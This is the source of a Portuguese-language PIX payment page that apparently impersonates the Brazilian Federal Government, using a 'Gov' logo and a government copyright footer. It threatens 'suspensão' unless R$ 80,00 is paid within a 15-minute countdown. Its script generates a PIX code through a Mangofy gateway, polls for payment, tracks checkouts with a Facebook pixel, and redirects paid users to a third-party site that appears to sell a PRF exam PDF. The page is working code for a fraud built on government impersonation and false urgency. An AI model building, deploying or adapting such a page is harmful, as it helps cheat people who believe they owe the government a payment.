<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Pagamento PIX</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" rel="stylesheet">
    <style>
        body { background-color: #f8f9fa; padding-top: 60px; color: #333333; font-size: 16px; line-height: 1.5; min-height: 100vh; display: flex; flex-direction: column; }
        .header { display: flex; justify-content: space-between; align-items: center; padding: 8px 20px; background-color: white; position: fixed; top: 0; left: 0; right: 0; z-index: 1000; box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1); height: 60px; }
        .logo { width: 140px; height: auto; }
        .header-icons { display: flex; gap: 15px; }
        .header-icon { font-size: 18px; color: #0056b3; }
        .container { max-width: 600px; margin: 20px auto; padding: 0 20px; flex: 1; }
        .warning-box { background-color: #fff3cd; border: 1px solid #ffeeba; color: #856404; padding: 15px; border-radius: 8px; margin-bottom: 20px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); text-align: center; }
        .warning-box h2 { font-size: 18px; font-weight: bold; margin-bottom: 10px; }
        .warning-box p { font-size: 14px; margin-bottom: 5px; }
        .countdown { font-size: 24px; font-weight: bold; color: #dc3545; margin-top: 10px; }
        .payment-info { background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); margin-bottom: 20px; border-left: 4px solid #0c326f; }
        .payment-info h3 { color: #0c326f; font-size: 18px; font-weight: 600; margin-bottom: 15px; }
        .qr-container { text-align: center; margin: 20px 0; padding: 20px; background: white; border-radius: 8px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); border-left: 4px solid #0c326f; }
        .qr-code { width: 200px; height: 200px; margin: 0 auto; background: #f8f9fa; padding: 10px; border-radius: 4px; }
        .pix-code { background: #f8f9fa; padding: 15px; border-radius: 8px; font-family: monospace; color: #444; filter: blur(3px); opacity: 0.6; user-select: none; transition: all 0.3s ease; max-width: 100%; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; word-break: break-all; }
        .pix-code:hover { filter: blur(0px); opacity: 1; }
        .copy-button { width: 100%; padding: 12px; background-color: #0c326f; color: white; border: none; border-radius: 4px; font-weight: 600; cursor: pointer; display: flex; align-items: center; justify-content: center; gap: 8px; margin: 20px 0; transition: all 0.3s ease; }
        .copy-button:hover { background-color: #092555; transform: translateY(-1px); }
        .footer { background-color: #01205B; color: white; padding: 16px; text-align: center; margin-top: 40px; width: 100%; }
    </style>

    <!-- Scripts de Rastreamento (Pixel) -->
    <script>
        !function(f,b,e,v,n,t,s)
        {if(f.fbq)return;n=f.fbq=function(){n.callMethod?
        n.callMethod.apply(n,arguments):n.addEvent?n.addEvent.apply(n,arguments):n.queue.push(arguments)};
        if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
        n.queue=[];t=b.createElement(e);t.async=!0;
        t.src=v;s=b.getElementsByTagName(e)[0];
        s.parentNode.insertBefore(t,s)}(window, document,'script',
        'https://connect.facebook.net/en_US/fbevents.js');
        fbq('init', '2733542370378166');
        fbq('track', 'PageView');
        fbq('track', 'InitiateCheckout', { value: 80.00, currency: 'BRL' });
    </script>
</head>
<body>
    <div class="header">
         <img alt="Logo Gov" class="logo" src="images/gov.png"/>
        <div class="header-icons">
            <i class="fas fa-search header-icon"></i>
            <i class="fas fa-question-circle header-icon"></i>
            <i class="fas fa-adjust header-icon"></i>
        </div>
    </div>

    <div class="container">
        <div class="warning-box">
            <h2>ATENÇÃO: AÇÃO NECESSÁRIA!</h2>
            <p>Você concordou com os termos e condições. Caso o pagamento não seja efetuado em até:</p>
            <div id="countdown" class="countdown">15:00</div>
            <p>Efetue o pagamento imediatamente para evitar a suspensão.</p>
        </div>

        <div class="payment-info">
            <h3>Detalhes do Pagamento</h3>
            <!-- O PHP pega o nome direto da URL para mostrar ao cliente -->
            <p><strong>Nome:</strong> <?php echo htmlspecialchars($_GET['name'] ?? 'RIKELLY DE SOUZA FERREIRA'); ?></p>
            <p><strong>Valor:</strong> R$ 80,00</p>
        </div>

        <div class="qr-container">
            <h3>Escaneie o QR Code PIX</h3>
            <img src="images/loading.gif" alt="Gerando QR Code..." class="mx-auto" id="qrcode-image" style="width: 200px;">
            
            <button id="generateNewPixBtn" onclick="generateNewPix()" class="copy-button" style="display: none; margin-top: 20px; background-color: #6c757d;">
                <i class="fas fa-sync-alt"></i> Gerar Código Pix novamente
            </button>
        </div> 

        <div style="margin: 20px 0;">
            <p style="margin-bottom: 10px; font-weight: 600;">Ou copie o código PIX:</p>
            <div id="pixCode" class="pix-code">Gerando código PIX...</div>
            <button onclick="copyPixCode()" class="copy-button">
                <i class="fas fa-copy"></i> Copiar código PIX
            </button>
        </div>

        <div class="row" style="margin-top: 30px;">
            <div class="col-12">
                <h3 style="font-size: 1.1em; color: #333; margin-bottom: 15px;">Como pagar</h3>
                <ol style="list-style: none; padding-left: 0;">
                    <li style="margin-bottom: 10px;"><span class="badge bg-primary">1</span> Abra o app do seu banco</li>
                    <li style="margin-bottom: 10px;"><span class="badge bg-primary">2</span> Escolha PIX > Copia e Cola ou Escanear</li>
                    <li style="margin-bottom: 10px;"><span class="badge bg-primary">3</span> Confirme os dados e pague</li>
                </ol>
            </div>
        </div>
    </div>

    <footer class="footer">
        <p>© 2026 Governo Federal do Brasil. Todos os direitos reservados.</p>
    </footer>
    
<script>
    var paymentCode = ''; // Substituindo transactionId pelo padrão da Mangofy

    document.addEventListener('DOMContentLoaded', function() {
        // --- 1. CRONÔMETRO (Mantido igual) ---
        var countDownDate = new Date().getTime() + 15 * 60 * 1000; 
        var x = setInterval(function() {
            var now = new Date().getTime();
            var distance = countDownDate - now;
            var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
            var seconds = Math.floor((distance % (1000 * 60)) / 1000);
            document.getElementById("countdown").innerHTML = minutes.toString().padStart(2, '0') + ":" + seconds.toString().padStart(2, '0');
            if (distance < 0) { clearInterval(x); document.getElementById("countdown").innerHTML = "EXPIRADO"; }
        }, 1000);

        // --- 2. GERAÇÃO AUTOMÁTICA DO PIX (AJUSTADO PARA MANGOFY) ---
        const urlParams = window.location.search; 

        fetch('gerar_pix.php' + urlParams)
            .then(response => response.json())
            .then(res => {
                // Verificação baseada no LOG que você postou: res.payment_code e res.pix.pix_qrcode_text
                if (res.payment_code && res.pix && res.pix.pix_qrcode_text) {
                    paymentCode = res.payment_code;
                    
                    // Pega o código Copia e Cola
                    const pixText = res.pix.pix_qrcode_text;
                    
                    // Atualiza a imagem do QR Code
                    document.getElementById('qrcode-image').src = `https://api.qrserver.com/v1/create-qr-code/?size=200x200&data=${encodeURIComponent(pixText)}`;
                    
                    // Atualiza o texto visual do código PIX
                    const pixDiv = document.getElementById('pixCode');
                    pixDiv.innerText = pixText;
                    pixDiv.style.filter = "none";
                    pixDiv.style.opacity = "1";

                    // Inicia a verificação de status
                    checkPaymentStatus();
                } else {
                    document.getElementById('pixCode').innerText = "Erro ao gerar PIX. Verifique suas credenciais Mangofy.";
                }
            })
            .catch(err => {
                console.error("Erro:", err);
                document.getElementById('pixCode').innerText = "Erro de conexão.";
            });
    });

    // --- 3. VERIFICAÇÃO DE STATUS (AJUSTADO PARA MANGOFY) ---
    function checkPaymentStatus() {
        if (!paymentCode) return;

        // Enviamos payment_code para o seu PHP de verificação
        fetch('check_payment_status.php?payment_code=' + paymentCode)
            .then(response => response.json())
            .then(data => {
                // Mangofy retorna status "approved" para pago
                if (data.status === 'approved' || data.status === 'paid') {
                    const utms = window.location.search;
                    window.location.href = "https://gmsbrasil.com/concursado/pdf-prf/index.html" + utms + "&tid=" + paymentCode;
                } else {
                    setTimeout(checkPaymentStatus, 5000); // Checa a cada 5 segundos
                }
            })
            .catch(() => setTimeout(checkPaymentStatus, 10000));
    }

    // --- 4. FUNÇÃO COPIAR (Mantida igual) ---
    window.copyPixCode = function() {
        const pixCode = document.getElementById('pixCode').textContent.trim();
        if(pixCode.includes("Gerando")) return;

        const copyButton = document.querySelector('.copy-button');
        navigator.clipboard.writeText(pixCode).then(() => {
            copyButton.innerHTML = '<i class="fas fa-check"></i> Código Copiado!';
            copyButton.style.backgroundColor = '#28a745';
            showToast('✓ Código PIX copiado!');
            setTimeout(() => {
                copyButton.innerHTML = '<i class="fas fa-copy"></i> Copiar código PIX';
                copyButton.style.backgroundColor = '#0c326f';
            }, 2000);
        });
    }

    function showToast(msg) {
        const toast = document.createElement('div');
        toast.textContent = msg;
        toast.style.cssText = `position:fixed; top:20px; left:50%; transform:translateX(-50%); background:#28a745; color:white; padding:12px 20px; border-radius:8px; z-index:9999; font-weight:bold; box-shadow:0 4px 10px rgba(0,0,0,0.2);`;
        document.body.appendChild(toast);
        setTimeout(() => toast.remove(), 2000);
    }

    function generateNewPix() {
        window.location.reload();
    }
    
    setTimeout(() => {
        if(document.getElementById('generateNewPixBtn')) {
            document.getElementById('generateNewPixBtn').style.display = 'inline-block';
        }
    }, 180000);
</script>
</body>
</html>